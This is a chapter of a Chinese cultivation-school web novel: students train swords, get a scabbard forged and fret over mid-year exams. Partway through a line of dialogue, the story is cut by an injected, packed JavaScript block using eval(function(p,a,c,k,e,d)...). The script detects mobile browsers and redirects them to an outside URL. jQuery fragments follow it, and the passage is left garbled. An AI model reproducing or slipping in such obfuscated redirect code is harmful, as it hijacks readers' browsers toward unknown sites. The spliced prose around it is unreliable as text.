8. 年中考前

作品:《天下第一修真大学

    大抵是受到了打击,逢君柳这段日子修为涨得飞快,体内灵力飞涨,速度之快令周围人叹为观止。


    江度川趴在桌上,手臂底下压了一堆画符失败的符纸,生无可恋道:“恐怖如斯啊,你是不是要进入杯盏境中阶了。”


    “可能?”逢君柳道,“说实在的,我没甚么感觉。”


    又道,“对了,教学楼那挂着的除邪铃每天都丁零当啷响,前几日上课重道君说阴暗之处滋生邪物,状如鬼魅,形容扭曲,我看咱们学校也不像有邪物。”


    “有,怎么没有。”提到八卦,江度川来了兴致,“我姑姑上学那时,她说有段时间咱们学校天天出现邪物,那段日子挺多学生被袭击,有重伤还有……那个的,自此之后就装上了除邪铃。”


    “是不是有道君被开除的那次,”凭青谒视线落在逢君柳身上,若有所思,“听说是忮忌学生天赋高。”


    感受到二人隐晦的视线,逢君柳默然:“这么说来,确实应当挂着。”


    这几日连绵下雨,淅淅沥沥的停也不停,每次走过树下,若是不灵力外化护体,总要被叶子上时不时滴落的雨滴偷袭。


    院落里,逢君柳执剑而立,脚下落叶未扫,每踏一步,都发出细碎的沙沙响声。


    抬手起式,剑尖在空中划出浅浅涟漪,随后,剑势渐疾,身形随剑走,带起一阵微风。


    剑锋过处,枝头水珠簌簌而落,有几滴溅在眉间,他却浑然不觉,只凝神于手中之剑。


    一招一式,不疾不徐,仿佛与这院落、这刺破枝叶的日光融为一体。


    忽的,剑式一收,身影骤停。


    千寒旌与莫名停下的逢君柳面面相觑。


    逢君柳踌躇片刻,纠结着开口:“道君,我能问个问题吗?”


    千寒旌瞬间警惕,语气有些迟疑道:“……什么问题?”


    逢君柳目光时不时落在他的腰间佩剑上,眼神中带着不易察觉的羡慕:“道君,为何你的本命剑有剑鞘,我们不是能够将剑收起来吗?”


    身为剑修,若是扶正祛邪时能够“唰”地抽出佩剑,剑锋直指邪物,该有多帅气。


    逢君柳遗憾地想,可惜他只能凭空变出长剑,不然,孤零零的剑挂在身侧实在不雅观。


    “你说这玩意,”没从逢君柳口中听见什么惊世骇俗的发言,千寒旌不由得松了口气,“我找器修打的,量身定制。她今日好像来了天大,等等,我问问她。”


    不知和对方说了什么,挂断通讯玉筒后,招呼着逢君柳继续练剑。


    那人来的极快,不消片刻,吱呀的木门推开声响起。


    “千寒旌!你这人事可真多,又找我什么事?”人未进门,嘹亮清透的嗓音先响起。


    逢君柳循声望去,那女子身着嫩粉色衣裙,瞧着年纪很小,个子不高。


    熟悉的颜色,不由得想到了某位热情洋溢的师兄,逢君柳下意识打了个寒颤。


    “她叫施弦,小露姐的师长,你同样唤她道君便可。”嘱咐完后,千寒旌迎了上去,“姑奶奶,您终于来了。这番想请您给他打个剑鞘。”


    千寒旌侧身,一手指着表情茫然的白毛。


    逢君柳收剑,几步迈到二人身旁,恭恭敬敬地喊了句“施道君”。


    “这你学生?”施弦上下扫视着逢君柳,从左边看到右边,又从右边绕到左边,“他不会就是小露和我说的极品冰灵根吧?”


    千寒旌点头:“施姨,就是他,逢君柳。”


    施弦瞬间双眼放光,惜才之意溢于言表:“好小子,你要剑鞘对吧,等着,我回去就给你打。”


    随后拉着逢君柳坐下,欣喜道:“来来,坐下让我好生瞧瞧。瞧瞧,这小子一看就有能力的很。好小子,以后别喊我道君了,跟千寒旌一样,喊我阕姨。”


    逢君柳尴尬地点头,努力扯出不僵硬的笑。


    顶着一张十几岁的脸让他喊姨很奇怪吧,况且,人与人之间真的可以这般熟稔吗。


    果然,穿粉色衣袍的修士就是很恐怖。


    施弦性格夸张是夸张了些,作为器修,可是厉害得很。


    仓廪大陆唯一拥有极品变异灵根却成为器修的修士,从她手中出来的武器或是容器,既美观大气,又自带灵力能够浸润武器。


    有了剑鞘之后,逢君柳也学着千寒旌的样子将本命剑挂在腰际。


    别的不多说,练剑时拔剑而出的气势倒是大大增强。


    这日,千寒旌突然说要去一处神秘地方练剑。


    “道君,我们要去哪儿?”逢君柳问道。


    千寒旌但笑不语,只是将目光落至远处耸立的山崖。


    残阳如血,将山崖染上一片赤色。


    两道身影立于崖边,一人负手而立,一人怀抱长剑。


    听从指挥,逢君柳站至崖沿,红线在暮色中泛着冷光。掠过的微风带起几缕散落的发丝,悄无声息地消散在崖下的云雾里。


    剑尖垂地,随着吐纳的气息微微颤动。倏地,逢君柳手腕一翻,剑锋划出一道白弧。


    起初只是简单的劈刺,动作极慢,像是红线拖着他在动。渐渐地,剑势愈发迅捷,衣袍翻飞间,剑光已然连成一片,在残阳中织就一张细网。


    汗珠顺着下颌滴落,在将触地的瞬间被剑锋劈成两半。


    他只觉得呼吸愈发沉重,但剑势丝毫不乱。最后一式挥出时,整柄剑突然发出龙吟般的震颤,剑尖所指处的巨石应声而裂,轰然倒向断崖。


    收剑入鞘时,天已全黑。逢君柳望着掌心被剑柄磨出的红痕,吐出浑浊的叹息。


    山风骤起,卷来了千寒旌的赞叹声。


    “好好好,剑式干净、剑气凌厉,”千寒旌的掌声被风融进山崖,逐渐消散,只余下尾声连绵,他话锋一转,“不过——”


    “不能与他人相搏战之剑修,不可称为剑修。”千寒旌收敛笑意,周遭气流涌动,沉静声音响起,“来,朝我出剑。”


    红线再次出鞘,白光乍现,凌厉剑气划破长空,发出呜咽长鸣。


    *


    亮白光芒散去。


    逢君柳握着红线的手紧绷,苍白的手背上凸起青色细线。


    “话说,明日就是年中测验了。”凭青谒捣鼓着几颗卖相相当不错的丹药,话音伴着破空剑声响起。


    长剑入鞘,将微弱的光亮一同收了进去。逢君柳感受着出剑时灵力的运转,缓步踱到他身边,随口接道:“前几日碰上瞿道君,听他说今年我们的文化课程卷子由他出。”


    凭青谒惊愕道:“瞿道君?!听师兄师姐们说瞿道君出卷难度极高,鲜少有人能答到


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15372546|168179||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    七十之上。”


    “真的假的,那我岂不是完蛋了。符箓佛法这般,我都不太会,还有音律。”逢君柳难掩悲伤,“到时候若是五十都考不起,就该去补考了。”


    天大每年年中与年末分两类考试,文化课程与道系专业课。


    值得一提的是,年末会比年中多出一份论文撰写的作业来,要求不高,三千字足矣。


    水平考试中文化课程占四成,道系专业课占六成。


    凭青谒思索半晌,疑问道:“五十……君柳,你的道系专业课少说九十之上,这样算来,文化课程考十几二十都能够通过年中考。”


    “我按六十算的道系专业课,”逢君柳叹气,“九十也太高了些。”


    凭青谒道:“你若是只有六十,我们可该担心了。不过,是要提醒提醒度川。”


    逢君柳倚着桌沿,双手环胸,手指有一下没一下地点着:“他不是最近在网……”恋。


    最后一个字没出口,近日时时刻刻挂着甜蜜笑容的江度川出现在了室内修炼场。


    “哎,你们都在啊。”江度川捧着通讯玉筒,走近了才被两道人影唤回意识。


    “度川,明日就年中考了,你复习了吗?”凭青谒担忧道。


    “没事没事,”坠入爱河的江二少爷满不在乎,“我晚些时候看,不跟你们说了,她给我发消息了。”


    说着,拐了个弯离开了修炼场。


    显而易见,江度川本想来修炼复习,这下,又要推迟了。


    待月白色身影完全消失,逢君柳摩挲着下巴,沉吟道:“青谒,你说,他怎么能确定那人是女子?”


    “通讯玉筒不是能够瞧见对方的相——”凭青谒的话语停滞,咽了口唾沫,道,“不对,他们好像是在论坛后台聊天的。”


    两人对视一眼,纷纷在内心祈祷。


    好在江度川还有些要年中考的意识,夜幕落下回到宿舍后,罕见地没抱着通讯玉筒,而是沉默着练习画符。


    作为剑修,逢君柳没法儿在小小的宿舍内练剑。梳洗完后,散着白发对着镜子自言自语:“染红色好呢,还是染个青色……”


    “要染发吗?”复习完毕的凭青谒站起身,恰好听见这话。


    逢君柳扯了扯侧边长发,犹豫道:“有点想,不过我这头发染了之后,怕是不好褪色。”


    天大近段时间流行起染发来,可惜大多数人的头发颜色深,染上浅色头发总有些别扭。


    况且深色头发染色之后若是不喜欢,找篦头师傅染回去便是。


    逢君柳琢磨着等年中考完放松放松,但前几日询问染了头发的亓安,对方却说自己这头白了吧唧的头发染完以后,估计再想变回去也不会是纯正的白色。


    江度川耐不住复习的寂寞,插话道:“你这白发可染不出来,我们羡慕不来,你竟然要换色。”


    “你怎么,复习好了?”逢君柳挑眉。


    江度川双手一摆,无所谓道:“就这样吧,记不住了。话说,你真要染发啊。”


    江家家风严谨,虽说江度川平日里性子跳脱,但染发这种事绝对不会做。


    毕竟身体发肤受之父母,也是江家家训之一。


    逢君柳嘴里叼着绑头发的发带,有些口齿不清,“不清楚,等明日考完再说。”